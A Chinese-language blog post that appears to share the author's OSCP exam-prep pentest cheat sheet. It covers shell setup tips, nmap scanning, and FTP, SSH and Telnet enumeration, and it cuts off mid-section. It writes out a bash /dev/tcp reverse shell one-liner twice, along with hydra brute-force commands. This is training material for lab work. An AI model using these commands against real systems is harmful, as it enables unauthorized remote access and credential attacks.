返回

文章详情

我的 OSCP 渗透测试备忘录

Hacker News2026年7月1日 17:50

我在 2025 年 3 月 14 日参加了我的 OSCP 考试,而在 3 月 17 日,三天后,我就收到了通过 OSCP 考试的确认!这是我个人知识库中整理的有用命令的综合清单。在这篇博文中,我可以找到有关网络和服务枚举、密码猜测、反向 shell、Active Directory 和 Windows 后期利用的有用技巧和命令,这些都是渗透测试和 OSCP 考试中可能有用的。一些有用的提示 .env 文件 我为每一台在准备和 OSCP 考试期间黑掉的机器创建了一个单独的目录。然后我在这些目录中创建了一个 .env 文件,并在其中存储了有用的环境变量,例如 $TARGET_IP 和 $TARGET_DOMAIN: 1 2 export TARGET_IP = "10.10.10.11" export TARGET_DOMAIN = "hackerask.com" 然后,我可以简单地在需要处理该机器时加载 .env 文件: 1 source .env 这在你使用多个终端标签时特别有用。你还可以使用这个文件存储其他常用的环境变量,如凭据或以运行脚本,例如启动终端记录器。 $myip 环境变量 我发现将我的 IP 地址放在 $myip 环境变量中非常实用。由于我使用的所有黑客实验室平台,如 HackTheBox、Proving Grounds 或我的 OSCP 考试的挑战实验室,都是使用 OpenVPN 来访问这些机器,我们可以查看 tun0 网络接口来查看我们的本地 VPN IP 地址。我们可以通过 ifconfig tun0 或 ip addr show tun0 来查看它。为了避免每次需要时都输入 IP 地址,我创建了一个 $myip 环境变量,如下所示: 1 export myip = $( ip addr show tun0 2> /dev/null | grep 'inet ' | awk '{print $2}' | cut -d '/' -f1 ) 我们可以将 export 行添加到我们的 .bashrc 或 .zshrc 中,然后加载文件,以便能够使用该环境变量: 1 2 3 $ echo -n "/bin/bash -i >& /dev/tcp/ $myip /5555 0>&1" /bin/bash -i > & /dev/tcp/192.168.178.10/5555 0>&1 这将输出带有我们 tun0 网络接口 IP 地址的反向 shell 负载。复制别名 我经常需要将命令的输出从终端复制到文档以供记录。因此,我创建了一个简单的复制别名,将命令的输出通过管道发送到剪贴板。我决定使用 xclip,可以通过 apt 安装: 1 sudo apt install xclip 要创建该别名,我们可以将以下行添加到 .bashrc 或 .zshrc 文件中: 1 alias copy = 'xclip -selection clipboard' 然后重启终端会话或加载该文件以便能够使用它。我们可以通过添加管道来使用复制别名: 1 echo -n "/bin/bash -i >& /dev/tcp/ $myip /5555 0>&1" | copy 这将把 echo 命令的输出,即反向 shell 负载,发送到我们的剪贴板。Tmux 你绝对应该学习并使用 tmux 来进行 OSCP 和渗透测试/红队任务。tmux 是一个出色的终端复用器,允许你在一个窗口中管理多个标签和屏幕,使得在不同标签之间切换变得容易,只需简单的键盘快捷键。Tmux 备忘单和快速参考 网络枚举 通用主机发现 1 2 3 nmap -sn 192.168.178.1-254 -vv -oA hosts cat hosts.nmap | grep "report for" | grep -v "down" | cut -f5 -d ' ' 如果 nmap 不工作,我们也可以尝试 ping 主机: 1 for i in $( seq 1 254 ) ; do ping "172.16.115. $i " -c 1 -W 0.1|grep "icmp_seq=1" |cut -f4 -d ' ' |tr ':' ' ' ; done 端口扫描 我通常第一步是使用 nmap 快速扫描机器的开放 TCP 端口: 1 $ sudo nmap -p- -vvv $TARGET_IP -oN enum/nmap/quick-scan.txt 然后我可以使用以下命令,将所有端口以逗号分隔作为输出: 1 $ cat enum/nmap/quick-scan.txt | grep '/tcp' | cut -f1 -d '/' | tr ' ' ',' | sed 's/\(.*\),/ /' 然后我们可以使用开放端口进行更详细的版本扫描: 1 $ nmap -p <ports> -sC -sV -oA enum/nmap/resource $TARGET_IP 在扫描 TCP 端口后,我们也不要忘记扫描 UDP 端口: 1 $ sudo nmap -Pn -n $TARGET_IP -sUV --top-ports = 100 --reason -oA enum/nmap/resource-udp TCP 21 - FTP 匿名登录: 1 ftp ftp://anonymous:anonymous@ $TARGET_IP 获取标头: 1 nc -vn $TARGET_IP 21 下载所有文件: 1 2 wget -m ftp://anonymous:anonymous@ $TARGET_IP wget -r --user = "USERNAME" --password = "PASSWORD" ftp:// $TARGET_IP / 暴力破解: 1 hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $TARGET_IP ftp 22 - SSH Nmap: 1 2 3 4 5 # 检查认证方法: nmap -p22 $TARGET_IP --script ssh-auth-methods --script-args = "ssh.user=root" # 获取版本 nmap -p22 $TARGET_IP -sV 暴力破解: 1 hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt $TARGET_IP ssh 23 - Telnet 获取标头: 1 nc -vn $TARGET_IP 23 Nmap 枚举: 1 nmap -n -sV -Pn --script "*telnet* and safe" -p 23 $TARGET_IP 脚本 telnet-ntl

赞助内容

NordVPN Next-gen Antivirus

本站免费、广告极少。如果觉得有帮助,可以请我们喝杯咖啡 —— 任何金额都对持续运营有实际帮助。

请我喝杯咖啡